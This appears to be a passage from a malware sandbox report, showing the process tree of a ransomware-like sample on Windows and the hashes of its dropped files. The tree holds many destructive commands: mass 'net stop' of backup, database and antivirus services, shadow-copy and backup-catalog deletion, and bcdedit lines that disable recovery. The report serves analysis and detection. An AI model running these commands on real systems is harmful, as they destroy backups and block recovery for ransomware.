C:\Windows\SysWOW64\net.exe"net.exe" stop BackupExecVSSProvider /y2⤵PID:904
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop BackupExecVSSProvider /y3⤵PID:4804
-
-
-
C:\Windows\SysWOW64\net.exe"net.exe" stop BackupExecAgentBrowser /y2⤵PID:616
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop BackupExecAgentBrowser /y3⤵PID:3932
-
-
-
C:\Windows\SysWOW64\net.exe"net.exe" stop BackupExecAgentAccelerator /y2⤵PID:3644
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop BackupExecAgentAccelerator /y3⤵PID:4244
-
-
-
C:\Windows\SysWOW64\net.exe"net.exe" stop BackupExecDiveciMediaService /y2⤵PID:3016
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop BackupExecDiveciMediaService /y3⤵PID:6032
-
-
-
C:\Windows\SysWOW64\net.exe"net.exe" stop BackupExecManagementService /y2⤵PID:4188
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop BackupExecManagementService /y3⤵PID:6924
-
-
-
C:\Windows\SysWOW64\net.exe"net.exe" stop AcrSch2Svc /y2⤵PID:4892
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop AcrSch2Svc /y3⤵PID:7720
-
-
-
C:\Windows\SysWOW64\net.exe"net.exe" stop AcronisAgent /y2⤵PID:4792
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop AcronisAgent /y3⤵PID:7704
-
-
-
C:\Windows\SysWOW64\net.exe"net.exe" stop sophos /y2⤵PID:2680
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop sophos /y3⤵PID:7752
-
-
-
C:\Windows\SysWOW64\net.exe"net.exe" stop SQLAgent$SBSMONITORING /y2⤵PID:1868
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop SQLAgent$SBSMONITORING /y3⤵PID:8024
-
-
-
C:\Windows\SysWOW64\net.exe"net.exe" stop MSSQLFDLauncher$SBSMONITORING /y2⤵PID:4292
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop MSSQLFDLauncher$SBSMONITORING /y3⤵PID:8032
-
-
-
C:\Windows\SysWOW64\net.exe"net.exe" stop MSSQL$SHAREPOINT /y2⤵PID:2416
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop MSSQL$SHAREPOINT /y3⤵PID:8016
-
-
-
C:\Windows\SysWOW64\net.exe"net.exe" stop SQLAgent$SHAREPOINT /y2⤵PID:3080
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop SQLAgent$SHAREPOINT /y3⤵PID:8040
-
-
-
C:\Windows\SysWOW64\net.exe"net.exe" stop MSSQL$SBSMONITORING /y2⤵PID:2672
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop MSSQL$SBSMONITORING /y3⤵PID:8008
-
-
-
C:\Windows\SysWOW64\net.exe"net.exe" stop MSSQL$MICROSOFT##SSEE /y2⤵PID:1640
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop MSSQL$MICROSOFT##SSEE /y3⤵PID:8000
-
-
-
C:\Windows\SysWOW64\net.exe"net.exe" stop Exchange /y2⤵PID:3592
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop Exchange /y3⤵PID:7992
-
-
-
C:\Windows\SysWOW64\net.exe"net.exe" stop msftesql /y2⤵PID:2404
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop msftesql /y3⤵PID:7984
-
-
-
C:\Windows\SysWOW64\net.exe"net.exe" stop SQLAgent$KAV_CS_ADMIN_KIT /y2⤵PID:2460
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop SQLAgent$KAV_CS_ADMIN_KIT /y3⤵PID:7976
-
-
-
C:\Windows\SysWOW64\cmd.exe"cmd.exe" /C sc delete VSS2⤵PID:7124
-
C:\Windows\SysWOW64\sc.exesc delete VSS3⤵
- Launches sc.exe
PID:9152
-
-
-
C:\Windows\SysWOW64\cmd.exe"C:\Windows\System32\cmd.exe" /C wbadmin delete catalog -quiet2⤵PID:432
-
-
C:\Windows\SysWOW64\net.exe"net.exe" stop MSExchange$ /y2⤵PID:5396
-
-
C:\Windows\SysWOW64\net.exe"net.exe" stop MSExchange /y2⤵PID:5388
-
-
C:\Windows\SysWOW64\net.exe"net.exe" stop WSBExchange /y2⤵PID:5380
-
-
C:\Windows\SysWOW64\net.exe"net.exe" stop CAARCUpdateSvc /y2⤵PID:5368
-
-
C:\Windows\SysWOW64\net.exe"net.exe" stop CASAD2DWebSvc /y2⤵PID:5360
-
-
C:\Windows\SysWOW64\net.exe"net.exe" stop AcrSch2Svc /y2⤵PID:5352
-
-
C:\Windows\SysWOW64\net.exe"net.exe" stop ARSM /y2⤵PID:5340
-
-
C:\Windows\SysWOW64\net.exe"net.exe" stop AcronisAgent /y2⤵PID:5324
-
-
C:\Windows\SysWOW64\net.exe"net.exe" stop VeeamNFSSvc /y2⤵PID:5316
-
-
C:\Windows\SysWOW64\net.exe"net.exe" stop VeeamDeploymentService /y2⤵PID:5308
-
-
C:\Windows\SysWOW64\net.exe"net.exe" stop VeeamTransportSvc /y2⤵PID:5300
-
-
C:\Windows\SysWOW64\net.exe"net.exe" stop VSNAPVSS /y2⤵PID:5292
-
-
C:\Windows\SysWOW64\net.exe"net.exe" stop stc_raw_agent /y2⤵PID:5276
-
-
C:\Windows\SysWOW64\net.exe"net.exe" stop MVarmor64 /y2⤵PID:5268
-
-
C:\Windows\SysWOW64\net.exe"net.exe" stop MVArmor /y2⤵PID:5260
-
-
C:\Windows\SysWOW64\net.exe"net.exe" stop BackupExecRPCService /y2⤵PID:5244
-
-
C:\Windows\SysWOW64\net.exe"net.exe" stop BackupExecManagementService /y2⤵PID:5236
-
-
C:\Windows\SysWOW64\net.exe"net.exe" stop BackupExecJobEngine /y2⤵PID:5224
-
-
C:\Windows\SysWOW64\net.exe"net.exe" stop BackupExecDiveciMediaService /y2⤵PID:5216
-
-
C:\Windows\SysWOW64\net.exe"net.exe" stop BackupExecAgentBrowser /y2⤵PID:5208
-
-
C:\Windows\SysWOW64\net.exe"net.exe" stop BackupExecAgentAccelerator /y2⤵PID:5200
-
-
C:\Windows\SysWOW64\net.exe"net.exe" stop BackupExecVSSProvider /y2⤵PID:5192
-
-
C:\Windows\SysWOW64\net.exe"net.exe" stop PDVFSService /y2⤵PID:5184
-
-
C:\Windows\SysWOW64\net.exe"net.exe" stop bedbg /y2⤵PID:5176
-
-
C:\Windows\SysWOW64\net.exe"net.exe" stop backup /y2⤵PID:5168
-
-
C:\Windows\SysWOW64\net.exe"net.exe" stop veeam /y2⤵PID:5160
-
-
C:\Windows\SysWOW64\net.exe"net.exe" stop sophos /y2⤵PID:5144
-
-
C:\Windows\SysWOW64\net.exe"net.exe" stop mepocs /y2⤵PID:5136
-
-
C:\Windows\SysWOW64\net.exe"net.exe" stop memtas /y2⤵PID:4568
-
-
C:\Windows\SysWOW64\net.exe"net.exe" stop MSSQL$ /y2⤵PID:4224
-
-
C:\Windows\SysWOW64\net.exe"net.exe" stop MSSQL /y2⤵PID:3796
-
-
C:\Windows\SysWOW64\net.exe"net.exe" stop svc$ /y2⤵PID:4972
-
-
C:\Windows\SysWOW64\net.exe"net.exe" stop sql /y2⤵PID:3176
-
-
C:\Windows\SysWOW64\net.exe"net.exe" stop vss /y2⤵PID:3216
-
-
C:\Windows\SysWOW64\net.exe"net.exe" stop YooIT /y2⤵PID:3392
-
-
C:\Windows\SysWOW64\net.exe"net.exe" stop YooBackup /y2⤵PID:2588
-
-
C:\Windows\SysWOW64\net.exe"net.exe" stop QBVSS /y2⤵PID:708
-
-
C:\Windows\SysWOW64\net.exe"net.exe" stop QBFCService /y2⤵PID:4216
-
-
C:\Windows\SysWOW64\net.exe"net.exe" stop SQLAgent$SHAREPOINT /y2⤵PID:1896
-
-
C:\Windows\SysWOW64\net.exe"net.exe" stop MSSQLServerADHelper100 /y2⤵PID:4592
-
-
C:\Windows\SysWOW64\net.exe"net.exe" stop MSSQL$KAV_CS_ADMIN_KIT /y2⤵PID:3052
-
-
C:\Windows\SysWOW64\net.exe"net.exe" stop MySQL57 /y2⤵PID:4564
-
-
C:\Windows\SysWOW64\net.exe"net.exe" stop MSSQL$MICROSOFT /y2⤵PID:1696
-
-
C:\Windows\SysWOW64\net.exe"net.exe" stop FishbowlMySQL /y2⤵PID:1552
-
-
C:\Windows\SysWOW64\net.exe"net.exe" stop SQLWriter /y2⤵PID:4124
-
-
C:\Windows\SysWOW64\net.exe"net.exe" stop SQLBrowser /y2⤵PID:3396
-
-
C:\Windows\SysWOW64\net.exe"net.exe" stop SQLAgent$VEEAMSQL2012 /y2⤵PID:4368
-
-
C:\Windows\SysWOW64\net.exe"net.exe" stop MSSQL$VEEAMSQL2012 /y2⤵PID:3944
-
-
C:\Windows\SysWOW64\net.exe"net.exe" stop ##WID /y2⤵PID:1032
-
-
C:\Windows\SysWOW64\net.exe"net.exe" stop MSSQL$MICROSOFT /y2⤵PID:3048
-
-
C:\Windows\SysWOW64\net.exe"net.exe" stop dbeng8 /y2⤵PID:960
-
-
C:\Windows\SysWOW64\net.exe"net.exe" stop dbsrv12 /y2⤵PID:4696
-
-
C:\Windows\SysWOW64\net.exe"net.exe" stop vmware-converter /y2⤵PID:968
-
-
C:\Windows\SysWOW64\net.exe"net.exe" stop vmware /y2⤵PID:4808
-
-
C:\Windows\SysWOW64\net.exe"net.exe" stop zhudongfangyu /y2⤵PID:2744
-
-
C:\Windows\SysWOW64\net.exe"net.exe" stop tomcat6 /y2⤵PID:2216
-
-
C:\Windows\SysWOW64\net.exe"net.exe" stop msmdsrv /y2⤵PID:4444
-
-
C:\Windows\SysWOW64\net.exe"net.exe" stop QBCFMonitorService /y2⤵PID:4256
-
-
C:\Windows\SysWOW64\net.exe"net.exe" stop FCS /y2⤵PID:3740
-
-
C:\Windows\SysWOW64\net.exe"net.exe" stop QuickBooks /y2⤵PID:4832
-
-
C:\Windows\SysWOW64\net.exe"net.exe" stop Intuit /y2⤵PID:2076
-
-
C:\Windows\SysWOW64\net.exe"net.exe" stop QBIDPService /y2⤵PID:1120
-
-
C:\Windows\SysWOW64\net.exe"net.exe" stop QLADHLP /y2⤵PID:3416
-
-
C:\Windows\SysWOW64\net.exe"net.exe" stop sqlbrowser /y2⤵PID:604
-
-
C:\Windows\SysWOW64\net.exe"net.exe" stop RTVscan /y2⤵PID:4496
-
-
C:\Windows\SysWOW64\net.exe"net.exe" stop Culserver /y2⤵PID:524
-
-
C:\Windows\SysWOW64\net.exe"net.exe" stop sqladhlp /y2⤵PID:3596
-
-
C:\Windows\SysWOW64\net.exe"net.exe" stop sqlagent /y2⤵PID:1440
-
-
C:\Windows\SysWOW64\net.exe"net.exe" stop Sqlservr /y2⤵PID:760
-
-
C:\Windows\SysWOW64\net.exe"net.exe" stop SavRoam /y2⤵PID:4680
-
-
C:\Windows\SysWOW64\net.exe"net.exe" stop ccSetMgr /y2⤵PID:4456
-
-
C:\Windows\SysWOW64\net.exe"net.exe" stop ccEvtMgr /y2⤵PID:2540
-
-
C:\Windows\SysWOW64\net.exe"net.exe" DefWatch2⤵PID:2484
-
-
C:\Windows\SysWOW64\net.exe"net.exe" wrapper2⤵PID:3280
-
-
C:\Windows\SysWOW64\net.exe"net.exe" stop mysql572⤵PID:748
-
-
C:\Windows\SysWOW64\net.exe"net.exe" stop -n apache242⤵PID:3920
-
-
C:\Windows\SysWOW64\net.exe"net.exe" stop CAARCUpdateSvc /y2⤵PID:3940
-
-
C:\Windows\SysWOW64\net.exe"net.exe" stop CASAD2DWebSvc /y2⤵PID:2968
-
-
C:\Windows\SysWOW64\net.exe"net.exe" stop BackupExecRPCService /y2⤵PID:1396
-
-
C:\Windows\SysWOW64\net.exe"net.exe" stop BackupExecJobEngine /y2⤵PID:2740
-
-
C:\Windows\SysWOW64\cmd.exe"C:\Windows\System32\cmd.exe" /C vssadmin delete shadows /all /quiet & wmic shadowcopy delete2⤵PID:1984
-
C:\Windows\SysWOW64\Wbem\WMIC.exewmic shadowcopy delete3⤵
- Suspicious use of AdjustPrivilegeToken
PID:3760
-
-
-
C:\Windows\SysWOW64\cmd.exe"C:\Windows\System32\cmd.exe" /C bcdedit /set {default} bootstatuspolicy ignoreallfailures & bcdedit /set {default} recoveryenabled no2⤵PID:4028
-
-
C:\Users\Admin\AppData\Local\Temp\lsm.exe"C:\Users\Admin\AppData\Local\Temp\lsm.exe"2⤵
- Checks computer location settings
- Executes dropped EXE
PID:8924 -
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\is64.bat" "3⤵PID:6920
-
-
-
C:\Windows\SysWOW64\mshta.exe"C:\Windows\SysWOW64\mshta.exe" "C:\Users\Admin\AppData\Local\Temp\readme-warning.hta" {1E460BD7-F1C3-4B2E-88BF-4E770A288AF5}{1E460BD7-F1C3-4B2E-88BF-4E770A288AF5}2⤵PID:4824
-
-
C:\Windows\SysWOW64\mshta.exe"C:\Windows\SysWOW64\mshta.exe" "C:\Users\Admin\AppData\Local\Temp\readme-warning.hta" {1E460BD7-F1C3-4B2E-88BF-4E770A288AF5}{1E460BD7-F1C3-4B2E-88BF-4E770A288AF5}2⤵PID:8912
-
-
C:\Windows\SysWOW64\mshta.exe"C:\Windows\SysWOW64\mshta.exe" "C:\Users\Admin\AppData\Local\Temp\readme-warning.hta" {1E460BD7-F1C3-4B2E-88BF-4E770A288AF5}{1E460BD7-F1C3-4B2E-88BF-4E770A288AF5}2⤵PID:2012
-
-
C:\Windows\SysWOW64\mshta.exe"C:\Windows\SysWOW64\mshta.exe" "C:\Users\Admin\AppData\Local\Temp\readme-warning.hta" {1E460BD7-F1C3-4B2E-88BF-4E770A288AF5}{1E460BD7-F1C3-4B2E-88BF-4E770A288AF5}2⤵PID:8320
-
-
C:\Windows\SysWOW64\mshta.exe"C:\Windows\SysWOW64\mshta.exe" "C:\Users\Admin\AppData\Local\Temp\readme-warning.hta" {1E460BD7-F1C3-4B2E-88BF-4E770A288AF5}{1E460BD7-F1C3-4B2E-88BF-4E770A288AF5}2⤵PID:6928
-
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop QBFCService /y1⤵PID:3540
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop stc_raw_agent /y1⤵PID:3128
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop RTVscan /y1⤵PID:4504
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop BackupExecJobEngine /y1⤵PID:6208
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop BackupExecRPCService /y1⤵PID:5688
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop sqlagent /y1⤵PID:7736
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop Sqlservr /y1⤵PID:7728
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop CAARCUpdateSvc /y1⤵PID:7712
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop CASAD2DWebSvc /y1⤵PID:7696
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop SavRoam /y1⤵PID:7688
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop QBVSS /y1⤵PID:7680
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop MVArmor /y1⤵PID:8372
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop dbeng8 /y1⤵PID:8364
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop SQLBrowser /y1⤵PID:8340
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop WSBExchange /y1⤵PID:8332
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop MSExchange$ /y1⤵PID:8324
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop MSExchange /y1⤵PID:8316
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop CAARCUpdateSvc /y1⤵PID:8308
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop CASAD2DWebSvc /y1⤵PID:8300
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop AcrSch2Svc /y1⤵PID:8292
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop ARSM /y1⤵PID:8284
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop AcronisAgent /y1⤵PID:8276
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop VeeamNFSSvc /y1⤵PID:8268
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop VeeamDeploymentService /y1⤵PID:8260
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop VeeamTransportSvc /y1⤵PID:8252
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop VSNAPVSS /y1⤵PID:8244
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop stc_raw_agent /y1⤵PID:8236
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop MVarmor64 /y1⤵PID:8228
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop ccSetMgr /y1⤵PID:8220
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop ccEvtMgr /y1⤵PID:8212
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop BackupExecRPCService /y1⤵PID:8196
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop BackupExecManagementService /y1⤵PID:2472
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop BackupExecJobEngine /y1⤵PID:4080
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop BackupExecDiveciMediaService /y1⤵PID:3284
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop BackupExecVSSProvider /y1⤵PID:4728
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop PDVFSService /y1⤵PID:4280
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop BackupExecAgentAccelerator /y1⤵PID:3900
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop bedbg /y1⤵PID:8184
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop backup /y1⤵PID:8176
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop BackupExecAgentBrowser /y1⤵PID:8168
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop veeam /y1⤵PID:8160
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop memtas /y1⤵PID:8152
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop sophos /y1⤵PID:8144
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop MSSQL$ /y1⤵PID:8136
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop mepocs /y1⤵PID:8128
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop MSSQL /y1⤵PID:8120
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop sql /y1⤵PID:8104
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop vss /y1⤵PID:8096
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop YooIT /y1⤵PID:8088
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 wrapper1⤵PID:8080
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop YooBackup /y1⤵PID:8072
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop MSSQLServerADHelper100 /y1⤵PID:7968
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop MySQL57 /y1⤵PID:7960
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop MSSQL$KAV_CS_ADMIN_KIT /y1⤵PID:7952
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop SQLWriter /y1⤵PID:7944
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop MSSQL$MICROSOFT /y1⤵PID:7936
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop FishbowlMySQL /y1⤵PID:7928
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop MSSQL$VEEAMSQL2012 /y1⤵PID:7920
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop SQLAgent$VEEAMSQL2012 /y1⤵PID:7912
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop MSSQL$MICROSOFT /y1⤵PID:7904
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop ##WID /y1⤵PID:7896
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop dbsrv12 /y1⤵PID:7888
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop vmware-converter /y1⤵PID:7880
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop tomcat6 /y1⤵PID:7872
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop vmware /y1⤵PID:7864
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop msmdsrv /y1⤵PID:7856
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop zhudongfangyu /y1⤵PID:7848
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop QBCFMonitorService /y1⤵PID:7840
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop QuickBooks /y1⤵PID:7832
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop Intuit /y1⤵PID:7824
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop QBIDPService /y1⤵PID:7816
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop sqlbrowser /y1⤵PID:7800
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop QLADHLP /y1⤵PID:7792
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop mysql571⤵PID:7776
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop RTVscan /y1⤵PID:7784
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop Culserver /y1⤵PID:7768
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop -n apache241⤵PID:7760
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop sqladhlp /y1⤵PID:7744
-
C:\Windows\System32\Conhost.exe\??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV11⤵PID:4380
Network
MITRE ATT&CK Enterprise v6
Replay Monitor
Loading Replay Monitor...
Downloads
-
Filesize
181B
MD5225edee1d46e0a80610db26b275d72fb
SHA1ce206abf11aaf19278b72f5021cc64b1b427b7e8
SHA256e1befb57d724c9dc760cf42d7e0609212b22faeb2dc0c3ffe2fbd7134ff69559
SHA5124f01a2a248a1322cb690b7395b818d2780e46f4884e59f1ab96125d642b6358eea97c7fad6023ef17209b218daa9c88d15ea2b92f124ecb8434c0c7b4a710504
-
Filesize
3B
MD5a5ea0ad9260b1550a14cc58d2c39b03d
SHA1f0aedf295071ed34ab8c6a7692223d22b6a19841
SHA256f1b2f662800122bed0ff255693df89c4487fbdcf453d3524a42d4ec20c3d9c04
SHA5127c735c613ece191801114785c1ee26a0485cbf1e8ee2c3b85ba1ad290ef75eec9fede5e1a5dc26d504701f3542e6b6457818f4c1d62448d0db40d5f35c357d74
-
Filesize
75KB
MD57065c6c8efb58c65cbf97d1139fb3998
SHA1419e901005e12fbb7f6bbbf59e1802df4db56eb2
SHA25673b4ab2ae70beb4637920f181ba3f175374209178c86465ca92d333f034ae960
SHA5121f6883dae0d8f5d6877be5dc30f842bc8d7e1e69cbd45d723c0de3841b30ae042b4962c2b15b1b4c7f0eaf834374a6458d14f385a7934621a104157e91bea1bd
-
Filesize
75KB
MD57065c6c8efb58c65cbf97d1139fb3998
SHA1419e901005e12fbb7f6bbbf59e1802df4db56eb2
SHA25673b4ab2ae70beb4637920f181ba3f175374209178c86465ca92d333f034ae960
SHA5121f6883dae0d8f5d6877be5dc30f842bc8d7e1e69cbd45d723c0de3841b30ae042b4962c2b15b1b4c7f0eaf834374a6458d14f385a7934621a104157e91bea1bd
-
Filesize
89KB
MD537d55dba7a6114449a2453a5e5357c04
SHA134ea79d82409c679e8a5c32f5c469844dd2488d7
SHA25652003dbfea65f568115dfad09aa0402df57d488ca7f9eb23c7334a51c11deb9f
SHA512d493512c768e9412047e2ece774a670f636d9b380b63b617f8516eac6ed0de219e0daebc196549fafcd756cab1d44b87dd8cd6ddae712f529295ce9794c0a75e
-
Filesize
89KB
MD537d55dba7a6114449a2453a5e5357c04
SHA134ea79d82409c679e8a5c32f5c469844dd2488d7
SHA25652003dbfea65f568115dfad09aa0402df57d488ca7f9eb23c7334a51c11deb9f
SHA512d493512c768e9412047e2ece774a670f636d9b380b63b617f8516eac6ed0de219e0daebc196549fafcd756cab1d44b87dd8cd6ddae712f529295ce9794c0a75e